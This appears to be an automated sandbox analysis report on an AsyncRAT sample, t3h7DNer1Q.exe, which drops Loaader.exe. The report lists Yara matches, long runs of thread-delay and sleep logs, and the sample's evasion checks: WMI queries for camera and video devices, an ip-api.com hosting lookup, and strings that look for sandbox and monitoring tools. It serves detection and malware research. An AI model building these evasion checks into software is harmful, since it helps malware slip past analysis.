Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AsyncRAT

Source: Yara match	File source: t3h7DNer1Q.exe, type: SAMPLE
Source: Yara match	File source: 0.0.t3h7DNer1Q.exe.9c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.t3h7DNer1Q.exe.322f188.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.t3h7DNer1Q.exe.322f188.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1593618518.00000000009C2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1622733927.000000000322F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: t3h7DNer1Q.exe PID: 6212, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Loaader.exe PID: 3808, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\Loaader.exe, type: DROPPED

Check if machine is in data center or colocation facility

Source: global traffic

HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Source: C:\Users\user\AppData\Roaming\Loaader.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Roaming\Loaader.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Roaming\Loaader.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\AppData\Roaming\Loaader.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Roaming\Loaader.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Roaming\Loaader.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Roaming\Loaader.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Roaming\Loaader.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Roaming\Loaader.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: t3h7DNer1Q.exe, Loaader.exe.0.dr	Binary or memory string: SBIEDLL.DLLM{860BB310-5D01-11D0-BD3B-00A0C911CE86}
Source: t3h7DNer1Q.exe, Loaader.exe.0.dr	Binary or memory string: TASKMGR.EXE#PROCESSHACKER.EXE

Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Memory allocated: 1100000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Memory allocated: 1AC50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Memory allocated: B60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Memory allocated: 1A9C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Memory allocated: A20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Memory allocated: 1A810000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Roaming\Loaader.exe	Window / User API: threadDelayed 7936	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Window / User API: threadDelayed 1917	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6532	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3309	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2226
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1959
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2450
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2383
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2429
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2022
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2261
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2243
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2921
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2314
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2217
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2693
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2448
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7470
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2230

Source: C:\Users\user\Desktop\t3h7DNer1Q.exe TID: 5608	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe TID: 1360	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe TID: 5984	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe TID: 3940	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7652	Thread sleep count: 6532 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7656	Thread sleep count: 3309 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7696	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7924	Thread sleep count: 2226 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6668	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7328	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8292	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7936	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8176	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8124	Thread sleep count: 2450 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8492	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5672	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3992	Thread sleep count: 2383 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8620	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5840	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1816	Thread sleep count: 2429 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8616	Thread sleep time: -11068046444225724s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6624	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8660	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7888	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8676	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8444	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6304	Thread sleep count: 2243 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8652	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8436	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8236	Thread sleep count: 2921 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8688	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8520	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8380	Thread sleep count: 2314 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8696	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8628	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8308	Thread sleep count: 2217 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8796	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8528	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8460	Thread sleep count: 2693 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8800	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8644	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8504	Thread sleep count: 2448 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8792	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8504	Thread sleep count: 100 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8636	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8608	Thread sleep count: 7470 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8608	Thread sleep count: 2230 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8580	Thread sleep time: -5534023222112862s >= -30000s

Source: C:\Users\user\AppData\Roaming\Loaader.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * From Win32_ComputerSystem
Source: C:\Users\user\AppData\Roaming\Loaader.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem
Source: C:\Users\user\AppData\Roaming\Loaader.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * From Win32_ComputerSystem

Source: C:\Users\user\AppData\Roaming\Loaader.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\Loaader.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\Loaader.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\Loaader.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\Loaader.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
